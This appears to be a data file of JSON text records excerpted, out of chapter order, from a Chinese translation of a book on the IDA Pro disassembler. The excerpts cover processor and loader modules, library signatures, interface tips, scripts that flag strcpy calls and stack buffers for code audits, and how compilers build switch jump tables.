    {"text": "未知 第19章 IDA 处理器模块 处理器模块是最后一种可以使用 SDK 构建的 IDA 模块，这种模块也是最为复杂的 IDA模块。处理器模块负责 IDA 中的所有反汇编操作。除了将机器语言操作码转换成对应的汇编语言代码外，处理器模块还负责其他各种任务，如创建函数、生成交叉引用以及跟踪栈指针的行为。通过插件和加载器，Hex-Rays 已经能够使用 IDA 的任何一种脚本语言创建处理器模块（从IDA 5.7 开始）。 很明显，在对没有处理器模块的二进制文件进行逆向工程时，需要开发处理器模块。另外，这类二进制文件可能包含嵌入式微控制器的固件映像，或者从手持设备中提取出来的可执行映像。在少数情况下，处理器模块还可用于反汇编嵌入到模糊化的可执行文件中的自定义虚拟机的指令。这时，现有的 IDA 处理器模块（如 x86 的 pc 模块）只能帮助你了解虚拟机本身，对于反汇编虚拟机的底层字节码，它无法提供任何帮助。在发表于OpenRCE.org 1 的一篇论文中，Rolf Rolles 说明了处理器模块在这方面的应用。在该论文的附录 B 中，Rolf 还与读者共享了他在创建IDA 处理器模块方面的经验，这是有关该主题的少数几份文档之一。 1 参见 http://www.openrce.org/articles/full_view/28 网站上的 Defeating HyperUnpackMe2 With an IDA Processor Module 。 在IDA 模块领域，有无数你可以想到的插件用法。除 IDC 脚本外，插件是 IDA 最为常用的第三方附加件。对自定义加载器模块的需求远比对插件的需求要小。这点并不令人意外，因为二进制文件格式的数量（因此对加载器的需求）要比插件可能的用法数量少得多。自然，除IDA专用和随 IDA 发行的模块外，第三方发布的加载器模块相对较少。同样，对处理器模块的需求也较小，因为需要解码的指令集的数量，要比利用这些指令集的文件格式的数量要少。所以，除了IDA 及其SDK 发行的少数处理器模块外，几乎完全没有第三方发布的处理器模块存在。根据Hex-Rays 论坛上发布的帖子的标题判断，很明显，人们正在开发处理器模块，只是这些模块并未向公众发布。 本章将阐明如何创建 IDA 处理器模块，并尽量揭示出 IDA 三种模块中最后一种模块的奥秘（至少在某种程度上）。作为运行示例，我们将开发一个反汇编Python 字节码的处理器模块。由于处理器模块的组件可能相当大，因此我们不可能提供包含模块每一个部分的完整清单。读者可以在本书的配套网站上找到 Python 处理器模块的完整源代码。注意，如果不使用 Python 加载器模块，你将无法对已编译的.pyc 文件完全自动化地反汇编。缺乏这样的加载器，你需要以二进制模式加载.pyc 文件，选择 Python 处理器模块，识别函数的一个可能的起点，然后使用Edit Code将显示的字节转换成 Python 指令。"},
    {"text": "为了使加载器加载命令行参数的方式与程序预期接收参数的方式（例如，通过向 main 提交参数）保持一致，程序必须在将控制权转交给 main 之前执行一段初始化代码。"},
    {"text": "在 C++ 程序中，这段代码负责确保在执行 main 之前调用全局声明对象的构造函数。 同样，为了在程序真正终止前调用所有全局对象的析构函数，必须插入在 main 之后执行的清理代码（cleanup code）。"},
    {"text": "这是因为，这些编译器自带的二进制库的数量有限，而与开源编译器（如 GNU gcc ）关联的库却拥有大量的二进制变体，与这类编译器自带的操作系统一样种类繁多。"},
    {"text": "从某种程度上说，这些差异归结为库源代码的变化（因而导致不同的编译代码）。 但是，巨大的差异也是因为使用了不同的编译选项，如优化设置，以及在创建库时使用了不同的编译器版本。"},
    {"text": "如果你足够幸运，拥有一个没有去除符号的静态链接二进制文件，那么，你至少拥有有用的函数名（和可信赖的程序员创建的函数名一样有用）来帮助你对代码进行分类。 但是，如果二进制文件已经被去除符号，那么，你拥有的仅仅是数百个使用 IDA 生成的名称的函数，至于这些函数的用途，它们的名称无法提供任何信息。 在这两种情况下，只要拥有相关签名，IDA 仍然能够识别出库函数（去除符号的二进制文件中的函数名称并不能为 IDA 提供足够的信息，使它准确判定一个函数是否为库函数）。"},
    {"text": "在应用一组适当的签名后，“概况导航栏”如图12-3 所示。 图12-3 应用签名之后的静态链接二进制文件 如你所见，“概况导航栏”证实了应用一组特殊签名所产生的效果。"},
    {"text": "图12-4 应用前几个签名后的静态二进制文件 具体来说，我们看到，在对二进制文件应用适当的 OpenSSL 签名后，IDA 将一个窄小的代码带（地址范围左侧的浅色代码带）标记为了库代码。"},
    {"text": "未知 4.5 IDA 桌面提示和技巧 IDA 包含大量信息，桌面可能会变得异常混乱。下面的提示帮助你充分利用桌面的功能。 对IDA 而言，你的屏幕越大越好。为此，购买一台（或两个）特大号的显示器吧！ 使用View▶Open Subviews命令恢复你无意中关闭的数据显示窗口。 使用Windows▶Reset Desktop 命令可迅速将桌面恢复到原始布局。 利用Windows▶Save Desktop 命令保存你认为特别有用的当前桌面布局。使用 Windows▶Load Desktop 命令迅速打开你之前保存的一个桌面布局。 isassembly窗口（无论是图形视图或列表视图）是唯一一个你可以修改其显示字体的窗口。使用 Options▶Font 命令可以设置字体。"},
    {"text": "如果你想将文本列表视图作为默认汇编视图，可以用Options▶General菜单命令打开IDA Options 复选框，取消选择Graph选项卡下的Use graph view by default（默认使用图形视图）选项。"},
    {"text": "因此，每个基本块都有唯一的入口点（块中的第一条指令）和退出点（块中的最后一条指令）。 基本块中的第一条指令通常是分支指令的目标，而最后一条指令则往往是一条分支指令。"},
    {"text": "根据测试条件，在条件跳转位置终止的基本块可能会生成两种流：Ye s边的箭头（是的，执行分支）默认为绿色，No边的箭头（不，不执行分支）默认为红色。"},
    {"text": "使用滑轮鼠标的用户，可以使用“CTRL+鼠标滑轮”来调整图形的大小。 键盘缩放控制需要使用“CTRL+加号键”来放大，或使用“CTRL+减号键”来缩小。"},
    {"text": "并可将分组后的块折叠起来，以减少显示的混乱程度。 折叠块特别有用，可以帮助你追踪已经分析过的块。 要折叠块，可以右击块的标题栏，然后在出现的菜单上选择“Group Nodes”。"},
    {"text": "2. IDA 文本视图 面向文本的反汇编窗口是查看和操作IDA 生成的反汇编代码的传统显示窗口。 文本显示窗口会呈现一个程序的完整反汇编代码清单（而在图形模式下一次只能显示一个函数），用户只有通过这个窗口才能查看一个二进制文件的数据部分。"},
    {"text": "要想显示与每个反汇编行有关的其他信息，可以通过Options▶General命令打开IDA 常规选项，然后在Disassembly选项卡的可用的反汇编行部分选择相应的选项。"},
    {"text": "实线箭头表示非条件跳转，虚线箭头则表示条件跳转。 如果一个跳转（条件或非条件）将控制权转交给程序中的某个地址（以前的），这时会使用粗线（实线或虚线）。"},
    {"text": "Functions 窗口中的条目如下所示： malloc .text 00BDC260 00000180 R . . . B . . 这一行信息特别指出：用户可以在二进制文件中虚拟地址为 00BDC260 的 .text 部分找到 malloc 函数；"},
    {"text": "如需了解更多有关用于描述函数的标记（如上面的 R 和 B ）的信息，请参阅IDA的内部帮助文档（或右击一个函数并选择Properties，标记将以可编辑的复选框显示）。"},
    {"text": "5.1.3 输出窗口 当你打开一个新文件时，IDA 工作区底部的输出窗口与其他窗口一起组成了IDA 的默认窗口。 输出窗口是IDA 的输出控制台，从中可以找到与IDA 所执行的任务有关的信息。"},
    {"text": "虽然这些工具不能保证能够发现一个二进制文件中的部分或全部漏洞，但是这些技术使得普通用户也能够利用二进制文件分析工具，从而获得一定程度的自信心，自信他们使用的软件没有漏洞或后门。"},
    {"text": "无论是在源代码还是在二进制层次上进行审核，基本的静态分析技巧包括：审核问题函数（如 strcpy 和 sprint ）的使用，审核动态内存分配例程（如 malloc 和 VirtualAlloc ）返回的缓冲区的用法，审核如何处理通过 recv 、 read 、 fgets 和许多其他类似函数接收的用户提交的输入。"},
    {"text": "在动态链接的 ELF 二进制文件中，使用 Jump命令并不能直接将你带到你想要的函数，但会将你带到 extern 节（参与了动态链接过程）中的一个条目。"},
    {"text": "extern 节中的 strcpy 条目的IDA 表示形式如下所示： ➊ extern:804DECC extrn strcpy:near ; CODE XREF: _strcpy ↑ j extern:804DECC ; DATA XREF: .got:off_804D5E4 ↑ o 使问题更加复杂的是，这个位置看起来似乎根本就不叫 strcpy （它的确是叫 strcpy ，但这个名称被缩排），对这个位置的唯一一个代码交叉引用（➊）是一个以 _strcpy 函数为源头的跳转交叉引用，同时，这个位置还有一个以.got 节为源头的数据交叉引用。"},
    {"text": "双击代码交叉引用，我们将看到程序中 strcpy 的过程链接表（ .plt ）条目，如下所示： .plt:08049E90 _strcpy proc near ; CODE XREF: decode+5F↓ p .plt:08049E90 ; extract_int_argument+24↓p ... .plt:08049E90 jmp ds:off_804D5E4 .plt:08049E90 _strcpy endp 如果我们访问数据交叉引用，最后我们将看到 strcpy 对应的 .got 条目，如下所示： .got:0804D5E4 off_804D5E4 dd offset strcpy ; DATA XREF: _strcpy↑ r 在 .got 条目中，我们遇到另一个以 .plt 节中的 .strcpy 函数为目标的数据交叉引用。"},
    {"text": "现在，我们已经到达 .plt 段，我们可以集中所有对 _strcpy （实际上是 .strcpy ）的交叉引用，并开始审核每一个调用（在这个例子中至少有两个函数调用）。"},
    {"text": "代码清单 22-1 查找一个函数的可调用地址 static getFuncAddr(fname) { auto func = LocByName(fname); if (func != BADADDR) { auto seg = SegName(func); //what segment did we find it in? if (seg == \"extern\") { //Likely an ELF if we are in \"extern\" //First (and only) data xref should be from got func = DfirstB(func); if (func != BADADDR) { seg = SegName(func); if (seg != \".got\") return BADADDR; //Now, first (and only) data xref should be from plt func = DfirstB(func); if (func != BADADDR) { seg = SegName(func); if (seg != \".plt\") return BADADDR; } } } else if (seg != \".text\") { //otherwise, if the name was not in the .text section, then we // don't have an algorithm for finding it automatically func = BADADDR; } } return func; } 利用得到的返回地址，现在我们可以追踪任何我们想要审核其用法的函数的引用。"},
    {"text": "代码清单 22-2 标记对指定函数的调用 static flagCalls(fname) { auto func, xref; //get the callable address of the named function ➊ func = getFuncAddr(fname); if (func != BADADDR) { //Iterate through calls to the named function, and add a comment //at each call ➋ for (xref = RfirstB(func); xref != BADADDR; xref = RnextB(func, xref)) { if (XrefType() == fl_CN || XrefType() == fl_CF) { MakeComm(xref, \"*** AUDIT HERE ***\"); } } //Iterate through data references to the named function, and add a //comment at reference ➌ for (xref = DfirstB(func); xref != BADADDR; xref = DnextB(func, xref)) { if (XrefType() == dr_O) { MakeComm(xref, \"*** AUDIT HERE ***\"); } } } } 找到我们想要的函数地址后（➊），再利用两个循环迭代以该函数为目标的交叉引用。"},
    {"text": "在第一个循环（➋）中，在每一个调用该函数的位置插入一段注释。 在第二个循环（➌）中，在每一个使用该函数地址的位置插入其他注释（使用一个偏移量交叉引用）。"},
    {"text": "为了跟踪以下形式的调用，我们需要第二个循环： ➊ .text:000194EA mov esi, ds:strcpy .text:000194F0 push offset loc_40A006 .text:000194F5 add edi, 160h .text:000194FB push edi ➋ .text:000194FC call esi 在这个例子中，编译器将 strcpy 函数的地址缓存到 ESI 寄存器中（➊），以方便程序随后更快地调用 strcpy 函数（➋）。"},
    {"text": "这里的 call 指令执行起来更加快捷，因为它不但更小（2 个字节），而且不需要执行额外的操作来解析调用目标，因为函数地址已经包含在 CPU 的ESI 寄存器中。"},
    {"text": "由于这个例子中的函数调用属于间接调用，因此我们例子中的 flagCalls 函数只能看到以 strcpy 为目标的数据交叉引用（➊），而无法看到对 strcpy 的调用（➋），因为 call 指令并不直接引用 strcpy 。"},
    {"text": "但是，实际上，IDA 能够执行有限的数据流分析，并且可以生成下面的反汇编代码清单： .text:000194EA mov esi, ds:strcpy .text:000194F0 push offset loc_40A006 .text:000194F5 add edi, 160h .text:000194FB push edi ➊ .text:000194FC call esi ; strcpy 注意，这里的 call 指令（➊）包含一段注释，它指出 IDA 认为该指令所调用的函数。"},
    {"text": "下面这个简单示例说明如何标记对本节前面提到的一些函数的调用： static main() { flagCalls(\"strcpy\"); flagCalls(\"strcat\"); flagCalls(\"sprintf\"); flagCalls(\"gets\"); } 运行这段脚本后，可以通过搜索插入的注释文本 ***AUDIT*** ，由我们感兴趣的一个调用转移到另一个调用。"},
    {"text": "代码清单 22-3 扫描栈分配的缓冲区 def findStackBuffers(func_addr, minsize): prev_idx = -1 frame = GetFrame(func_addr) if frame == -1: return #bad function idx = 0 prev = None while idx < GetStrucSize(frame): ➊ member = GetMemberName(frame, idx) if member is not None: if prev_idx != -1: #compute distance from previous field to current field ➋ delta = idx - prev_idx ➌ if delta >= minsize: Message(\"%s: possible buffer %s: %d bytes\\n\" % \\ (GetFunctionName(func_addr), prev, delta)) prev_idx = idx prev = member ➎ idx = idx + GetMemberSize(frame, idx) else: ➍ idx = idx + 1 这个函数通过对栈帧中的所有有效偏移量重复调用 GetMemberName （➊），定位该栈帧中的所有变量。"},
    {"text": "如果当前偏移量位置处没有定义结构体成员，则结构体索引以1 字节递增（➍ ），否则，则按在当前偏移量位置发现的任何成员的大小递增（➎ ）。"},
    {"text": "以下面的栈帧为例： .text:08048B38 sub_8048B38 proc near .text:08048B38 .text:08048B38 var_818 = byte ptr -818h .text:08048B38 var_418 = byte ptr -418h .text:08048B38 var_C = dword ptr -0Ch .text:08048B38 arg_0 = dword ptr 8 使用列表中显示的字节偏移量，我们可以计算出：在 var_818 与 var_418 的起始偏移量之间有1024 个字节（ 818h-418h=400h ），在 var_418 与 var_C 的起始偏移量之间有1036 个字节（ 418h-0Ch ）。 但是，这个栈帧可以被扩展，以显示以下布局： -00000818 var_818 db ? -00000817 db ? ; undefined -00000816 db ? ; undefined ... -0000041A db ? ; undefined -00000419 db ? ; undefined -00000418 var_418 db 1036 dup(?) -0000000C var_C dd ? 从中可以看到， var_418 已经折叠成一个数组，而 var_818 仅仅只有一个字节（有 1023 个未定义的字节填充 var_818 与 var_418 之间的空间）。 对于这个栈布局， GetMemberSize 将报告 var_818 的大小为1 字节， var_418 的大小为1036 个字节，这并不是我们希望见到的结果。 无论 var_818 被定义为一个字节还是一个 1024 字节的数组，调用 findStackBuffers(0x08048B38, 16) 将得到以下输出： sub_8048B38: possible buffer var_818: 1024 bytes sub_8048B38: possible buffer var_418: 1036 bytes 创建一个 main 函数，使它遍历数据库中的所有函数（参见第15 章），并为每个函数调用 findStackBuffers ，我们将得到一个脚本，该脚本能够迅速指出程序的栈缓冲区的使用情况。"},
    {"text": "未知 6.3 搜索数据库 在IDA 中，你可以轻松导航到你知道的位置。IDA 设计了许多类型的数据显示来总结特定类型的信息（名称、字符串、导入等），以方便你查找这些信息。但是，哪些功能可帮助你对数据库进行更一般的搜索呢？如果仔细查看一下搜索菜单，你会发现大量选项，它们绝大多数都要求你选择某个类别中的下一个选项。例如，Search ▶Next Code命令将光标移动到下一个包含指令的位置。你可能还希望了解跳转菜单中的选项，这其中许多选项提供了大量位置供你选择。例如，使用Jump▶Jump to Function 命令可以打开所有函数，你可以迅速选择一个函数并导航到该函数所在的位置。虽然这些扫描搜索功能通常非常有用，但下面这两种通用搜索功能更值得详细讨论：文本搜索和二进制搜索。 6.3.1 文本搜索 IDA 文本搜索相当于对反汇编列表窗口进行子字符串搜索。通过Search▶Text（热键：ALT+T）命令启动文本搜索，即打开如图6-7所示的对话框。许多直观的选项规定了与搜索有关的细节。如图所示，IDA 允许你搜索POSIX 类型的正则表达式。这里的 标识符 （Identifier ）搜索有些用词不当。实际上，它将搜索限制于仅查找完整的词，并且能够匹配反汇编行中的任何完整的词，包括操作码助记符或常量。对 401116 进行标识符搜索将无法找到名为 loc_401116 的符号。 图6-7 Text Search （文本搜索）对话框 选择Find all occurences （查找所有结果），IDA 将在一个新的窗口中显示搜索结果，你可以根据搜索条件轻松导航到任何一个匹配结果。最后，使用CTRL＋T或Search▶Next Text （搜索▶下一个文本）命令可重复前一项搜索，以找到下一个匹配结果。 6.3.2 二进制搜索 如果需要搜索特定的二进制内容，如已知的字节序列，这时就不能使用文本搜索功能，而应使用IDA 的二进制搜索工具。文本搜索针对反汇编窗口进行搜索，但是，你可以认为二进制搜索仅搜索十六进制视图窗口。根据你指定搜索字符串的方式，你可以搜索十六进制或ASCII字符串。使用Search ▶Sequence of Bytes（搜索▶字节序列）或ALT+B即可启动二进制搜索。Binary Search（二进制搜索）对话框如图6-8所示。要搜索一个十六进制字节序列，应将搜索字符串指定为以空格分隔的两位十六进制值组成的列表，如 CA FE BA BE ，这与搜索 ca fe ba be 的结果相同，无论你是否选中Case-sensitive （区分大小写）选项都是如此。 图6-8 Binary Search 对话框 要搜索内嵌的字符串数据（有效搜索十六进制窗口中的ASCII字符串），你必须将搜索字符串用引号括起来。使用Unicode Strings选项可以搜索你所搜索的字符串的Unicode版本。 Case-sensitive 选项可能会引起混淆。在搜索字符串时，它的作用相当简单。如果没有选中Case-sensitive 选项，则搜索hello 时会出现HELLO。但是，在进行十六进制搜索时，如果没有选中Case-sensitive 选项，情况会有所不同。如果对 E9 41 C3 进行不区分大小写的搜索，你会惊奇地发现， E9 61 C3 出现在了搜索结果中。这是因为，0x41 对应于字符A，而0x61 则对应于字符a，所以IDA 认为这两个字符串相互匹配。所以，即使你指定了进行十六进制搜索，但0x41 却等同于0x61 ，因为你并没有指定进行区分大小写的搜索。 说明 在进行十六进制搜索时，如果希望将搜索限定为完全匹配，你必须选中Case-sensitive 选项。在你搜索特定的操作码序列而非ASCII文本时，这点尤为重要。 使用CTRL＋B或Search ▶Next Sequence of Bytes（搜索▶下一个字节序列）可以搜索随后的二进制数据。最后，你并没有必要在十六进制视图窗口中进行二进制搜索。IDA 允许你在活动的反汇编窗口中指定二进制搜索条件，如果你成功找到与搜索条件相匹配的字符串，反汇编窗口将跳转对相应的位置。 未知 18.3 IDA 加载器模块 IDA 使用加载器模块执行一项乏味的工作：创建新数据库的初始布局。当用户选择打开一个新的二进制文件时，就要用到加载器。加载器的工作包括：将输入文件读取到新建的数据库中，根据输入文件的结构创建节，组织数据库的布局，然后将控制权转交给处理器模块，由后者执行与反汇编有关的任务。创建数据库后，IDA 将调用初始加载器中的特殊函数，以移动数据库段和生成EXE 文件（File ▶ Produce File ▶ Create EXE File）。 一旦用户选择打开一个新的可执行文件，加载过程将立即开始（加载器并不用于加载现有的数据库）。和插件一样，加载器以共享库组件的形式构建。和插件一样，我们可以使用IDA SDK以共享库组件的形式构建加载器。加载器是第一种能够使用脚本（在 IDA 5.6 中引入）实施的 IDA扩展模块。 选择一个二进制文件后，IDA 将加载<IDADIR>/loaders 目录中的每一个加载器模块，并要求每个模块分析该文件。能够识别新文件的格式的所有加载器将在“文件加载”对话框中列出，然后，由用户决定使用哪一个加载器加载这个文件。"},
    {"text": "未知 8.4 导入新的结构体 逐渐熟悉 IDA 的结构体创建和编辑功能后，你可能希望找到一种更加简单的操作方法。在创建新结构体方面，IDA 确实提供了一些捷径。IDA 能够解析C（而非 C++ ）数据声明，以及整个C 头文件，并自动为在这些声明或头文件中定义的结构体创建对应的 IDA 结构体。如果你碰巧拥有你正进行逆向工程的二进制文件的源代码，或者至少是头文件，那么，你就可以让IDA直接从源代码中提取出相关结构体，从而节省大量时间。 8.4.1 解析C结构体声明 使用View▶ Open Subviews▶ Local Types （查看▶打开子窗口▶本地类型）命令，可以打开Local Types 子窗口，其中列出了所有解析到当前数据库中的类型。对于新数据库，“Local Types ”窗口最初是空的，但是，该窗口能够通过INSERT 键或上下文菜单中的 Insert 选项解析新的类型。得到的类型输入对话框如图 8-11 所示。 图8-11 Local Types 输入对话框 解析新类型时发生的错误将在IDA 的输出窗口中显示。如果类型声明被成功解析，“Local Types”窗口将列出该类型及其相关声明，如图 8-12 所示。 图8-12 Local Types 窗口 请注意，IDA 解析器使用 4 字节的默认结构体成员对齐方式。如果你的结构体需要其他对齐方式，你可以包括该对齐方式，IDA 认可使用 pragma pack 指令来指定所需的结构体成员对齐方式。 添加到Local Types（本地类型）窗口中的数据类型不会立即在 Structures（结构体）窗口中出现。有两种方法可以将本地类型声明添加到 Structures窗口中。最简单的方法是在相关本地类型上单击鼠标右键，并选择 Synchronize to idb。或者，由于每个新类型均被添加到标准结构体列表中，因而也可将新类型导入到 Structures窗口中，如 8.5节所述。 8.4.2 解析C头文件 要解析头文件，可以使用 File▶ Load File ▶ Parse C Header File （文件▶加载文件▶解析C 头文件）选择你想要解析的头文件。如果一切正常，IDA 会通知你 Compilation successful（编译完成）。如果解析器遇到任何问题，IDA 将会在输出窗口中显示错误消息。 IDA 会将所有被成功解析的结构体添加到当前数据库的标准结构体列表中（具体地说，是列表的末尾）。如果新结构体的名称与现有结构体的名称相同，IDA 会用新结构体布局覆盖原有结构体定义。除非你明确选择添加新的结构体，否则，新结构体不会出现在 Structures窗口中。我们将在8.5节讨论如何在 Structures窗口中添加标准结构体。 在解析C 头文件时，记住以下要点会有所帮助。 虽然内置解析器确实遵循 pack 杂注，但它不需要和你的编译器一样，默认对结构体成员进行对齐。默认情况下，解析器会建立 4 字节对齐的结构体。 解析器理解 C 预处理器 include 指令。为解析 include 指令，解析器会搜索包含被解析文件的目录，以及 Options▶ Compiler（选项▶编译器）配置对话框中的任何Include 目录（包含）。 解析器只能理解 C 标准数据类型。但是，解析器还能够理解预处理器 define 指令和C typedef 语句。因此，如果解析器之前遇到过适当的 typedef ，它将能够正确解析 unit32_t 之类的类型。 如果你没有源代码，那么你会发现，使用文本编辑器以 C 表示法迅速定义一个结构体布局，并解析得到的头文件或把声明粘贴为一个新的本地类型，会比使用 IDA 烦琐的手动结构体定义工具更加方便。 只有当前数据库能够使用新创建的结构体。如果想要在其他数据库中使用新结构体，你必须重新创建该结构体。在本章后面讨论TIL 文件时，我们将讨论一些简化上述步骤的方法。 一般而言，要最大限度地提高成功解析一个头文件的几率，你需要使用标准C 数据类型，并尽可能地减少使用 include 文件，从而最大程度地简化结构体定义。记住，在IDA 中创建结构体时，正确布局最为重要。正确的布局更多地取决于每个字段的正确大小和结构体的正确对齐，而不只是对每个字段都使用正确的类型。换句话说，如果你需要用 int 替换所有的 unit32_t ，以正确解析一个文件，那么，就请立即这样做吧！"},
    {"text": "未知 19.1 Python字节码 Python 1 是一种面向对象的带注释的编程语言。通常，Python 以类似于Perl 的方式编写脚本。Python 源文件常使用.py 扩展名保存。任何时候执行 Python 脚本，Python 解释器将把源代码编译成名为Python 字节码 2 的内部表示形式。这种字节码最终将由一个虚拟机解释。在某种程度上，整个过程类似于将 Java 源代码编译成 Java 字节码，后者最终由 Java 虚拟机执行。它们之间的主要不同在于，Java 用户必须将它们的 Java 源代码显式编译成 Java 字节码，而每次用户选择执行一段Python 脚本时Python 源代码必须隐式转换成字节码。 1. 参见 http://www.python.org/ 。 2. 参见 http://docs.python.org/library/dis.html#bytecodes 了解Python 字节码指令及其意义。请参见Python 源代码发行版中的opcode.h 文件了解字节码助记符及其对应的操作码。 为了避免重复将 Python 源代码转换成 Python 字节码，Python 解释器可以将 Python 源文件的字节码形式保存在一个.pyc 文件中，并在随后的执行过程中加载这个文件，从而节省在转换Python 源代码上花费的时间。通常，用户并不会显式创建.pyc 文件。相反，Python 解释器会自动为由另一个 Python 源模块导入的任何 Python 源模块创建.pyc 文件。理论上，这些模块会不断被重复利用，因此，如果你能够立即获得这些模块的字节码形式，将能够节省大量时间。Python字节码（.pyc ）文件基本上等同于 Java 的.class 文件。 如果存在与源代码对应的字节码文件，Python 解释器就不需要使用源代码。因此，我们能够以字节码而非源代码的形式发布一个 Python 项目的某些部分。这时，就像处理其他发行版的二进制软件那样，逆向工程字节码文件以了解它们的作用，可能会有所用处。这也是示例Python处理器模块的主要用途——提供一个有助于逆向工程 Python 字节码的工具。 未知 第18章 二进制文件与 IDA 加载器模块 有一天，你突然发现自己已经成为 IDA 专家了。这时，你可能会细细品味成功的味道，或者会“哀叹”一个事实：从今以后，你会经常受到人们的打搅，他们会向你询问某个文件的用途。最终，也许是因为他们的问题，也许只是因为你喜欢使用 IDA 打开你所能发现的几乎每一个文件，你将会遇到如图 18-1 所示的对话框。 图18-1 加载一个二进制文件 这是IDA 的标准“文件加载”对话框，不过存在一个小问题（从用户的角度看）。已识别的文件类型列表中仅包含一个条目，即二进制文件，这表示 IDA 安装的所有加载器模块都无法识别你想要加载的文件的格式。幸而你至少知道你所处理的机器语言（你至少知道这个文件是怎么有来的吧），并且能选择合适的处理器类型。遇到这种情况，你所能做的也只有这些了。 在本章中，我们将讨论 IDA 用来帮助你了解它无法识别的文件类型的功能。首先，我们将手动分析二进制文件格式，然后以此为基础，开发你自己的 IDA 加载器模块。 未知 11.3 小结 最初使用IDA 时，你可能对它的默认行为和默认的 GUI 布局感到非常满意。逐步熟悉 IDA的基本功能后，你肯定需要找方法对 IDA 进行定制，以满足自己的特殊要求。仅仅通过一章内容，我们不可能全面介绍 IDA 提供的每一个选项，但是，我们提供了一些线索，以帮助你找到这些选项。我们还重点介绍了那些你在操控 IDA 时可能会感兴趣的选项。至于其他有用的选项，还有待好奇的读者去深入探索。"},
    {"text": "如果 case 标号十分分散，如在下面的例子中： switch (value) { case 1: //code executed when value == 1 break; case 211: //code executed when value == 211 break; case 295: //code executed when value == 295 break; case 462: //code executed when value == 462 break; case 1093: //code executed when value == 1093 break; case 1839: //code executed when value == 1839 break; } 这时，大多数编译器会生成代码，进行二进制搜索 1 ，将分支变量与某种情形（case）相匹配。"},
    {"text": "如果 case 标号非常集中，甚至是按顺序排列，如下所示： switch (value) { case 1: //code executed when value == 1 break; case 2: //code executed when value == 2 break; case 3: //code executed when value == 3 break; case 4: //code executed when value == 4 break; case 5: //code executed when value == 5 break; case 6: //code executed when value == 6 break; } 这时，编译器通常会通过执行一次表查找 2 ，将分支变量与相关情形的地址相匹配，以解析分支变量。"},
    {"text": "一个 switch 语句的编译示例如下所示，它根据连续的情形 1～12 匹配分支变量： .text:00401155 mov edx, [ebp+arg_0] ➊ .text:00401158 cmp edx, 0Ch ; switch 13 cases .text:0040115B ja ➎loc_4011F1 ; default .text:0040115B ; jumptable 00401161 case 0 .text:00401161 jmp ds:off_401168[edx*4] ; switch jump .text:00401161 ; --------------------------------------------------------------- ➋ .text:00401168 off_401168 dd offset ➋loc_4011F1 ; DATA XREF: sub_401150+11 ↑r .text:00401168 dd offset loc_40119C ; jump table for switch statement .text:00401168 dd offset loc_4011A1 .text:00401168 dd offset loc_4011A6 .text:00401168 dd offset loc_4011AB .text:00401168 dd offset loc_4011B3 .text:00401168 dd offset loc_4011BB .text:00401168 dd offset loc_4011C3 .text:00401168 dd offset loc_4011CB .text:00401168 dd offset loc_4011D3 .text:00401168 dd offset loc_4011DB .text:00401168 dd offset loc_4011E3 .text:00401168 dd offset loc_4011EB .text:0040119C ; --------------------------------------------------------------- .text:0040119C .text:0040119C loc_40119C: ; CODE XREF: sub_401150+11 ↑j .text:0040119C ; DATA XREF: sub_401150:off_401168 ↑o ➌ .text:0040119C mov eax, [ebp+arg_4] ; jumptable 00401161 case 1 这个示例使用 IDA 能够完全理解的 Borland命令行编译器编译。"},
    {"text": "使用Microsoft Visual C++编译上面的源代码，可以得到下面的反汇编代码清单： .text:004013D5 mov ecx, [ebp+var_8] .text:004013D8 ➊sub ecx, 1 .text:004013DB mov [ebp+var_8], ecx .text:004013DE cmp [ebp+var_8], ➋0Bh ; switch 12 cases .text:004013E2 ja l oc_40146E ; jumptable 004013EB default case .text:004013E8 mov edx, [ebp+var_8] .text:004013EB jmp ds:off_401478[edx*4] ; switch jump .text:004013F2 ➍ .text:004013F2 loc_4013F2: ; DATA XREF: .text:off_401478?o .text:004013F2 mov eax, [ebp+arg_4] ; jumptable 004013EB ➎case 0 ... ; REMAINDER OF FUNCTION EXCLUDED FOR BREVITY .text:00401477 retn .text:00401477 sub_4013B0 endp .text:00401477 ; ------------------------------------------------------------- ➌ .text:00401478 off_401478 dd offset ➍loc_4013F2 ; DATA XREF: sub_4013B0+3B↓r .text:00401478 dd offset loc_4013FA ; j ump table for switch statement .text:00401478 dd offset loc_401402 .text:00401478 dd offset loc_40140A .text:00401478 dd offset loc_401415 .text:00401478 dd offset loc_401420 .text:00401478 dd offset loc_40142B .text:00401478 dd offset loc_401436 .text:00401478 dd offset loc_401441 .text:00401478 dd offset loc_40144C .text:00401478 dd offset loc_401458 .text:00401478 dd offset loc_401464 将这段代码与由 Borland编译器生成的代码进行比较，可以发现几个不同之处。"},
    {"text": "有关 switch 语句的一些实施细节包括：分支变量（这里为 var_8 ）不断递减（➊），有效值由11 减至0（➋），这使得 IDA 可以直接将变量用作跳转表索引（➌），而不需要为不使用的情形0 创建一个哑插槽（dummy slot ）。"},
    {"text": "我们以下面由 gcc 生成的代码结束 switch 语句的比较： .text:004011FA ➊cmp [ebp+arg_0], 0Ch ; switch 13 cases .text:004011FE ja ➌loc_40129D ; jumptable 00401210 case 0 .text:00401204 mov eax, [ebp+arg_0] .text:00401207 shl eax, 2 .text:0040120A ➎mov ➋eax, ds:off_402010[eax] .text:00401210 ➎jmp eax ; switch jump .text:00401212 .text:00401212 ➍loc_401212: ; DATA XREF: .rdata:off_402010 o .text:00401212 mov eax, [ebp+arg_4] ; jumptable 00401210 case 1 ... ; REMAINDER OF .text SECTION EXCLUDED FOR BREVITY ➋ .rdata:00402010 off_402010 dd off set ➌loc_40129D ; DATA XREF: sub_4011ED+1D ↑r .rdata:00402010 dd offset ➍loc_401212;jump table for switch statement .rdata:00402010 dd offset loc_40121D .rdata:00402010 dd offset loc_401225 .rdata:00402010 dd offset loc_40122D .rdata:00402010 dd offset loc_40123C .rdata:00402010 dd offset loc_40124B .rdata:00402010 dd offset loc_40125A .rdata:00402010 dd offset loc_401265 .rdata:00402010 dd offset loc_401270 .rdata:00402010 dd offset loc_40127B .rdata:00402010 dd offset loc_401287 .rdata:00402010 dd offset loc_401293 这段代码与前面的 Borland代码存在一些相似之处，它也有 12 种情形（➊）和包含 13个条目的跳转表（➋），并使用一个指针指向跳转表的情形 0 插槽中的默认情形（➌）。"},
    {"text": "熟悉由某一特定的编译器生成的代码，并不能保证你能够识别使用一种截然不同的编译器（或者是相同编译器系列的不同版本）编译的高级结构。"},
    {"text": "你不能完全依赖 IDA 的分析功能来识别常用的代码和数据结构，而应随时准备应用你掌握的技能：对给定汇编语言的了解、你的编译器知识以及正确解释一个反汇编代码清单的搜索技巧。"},
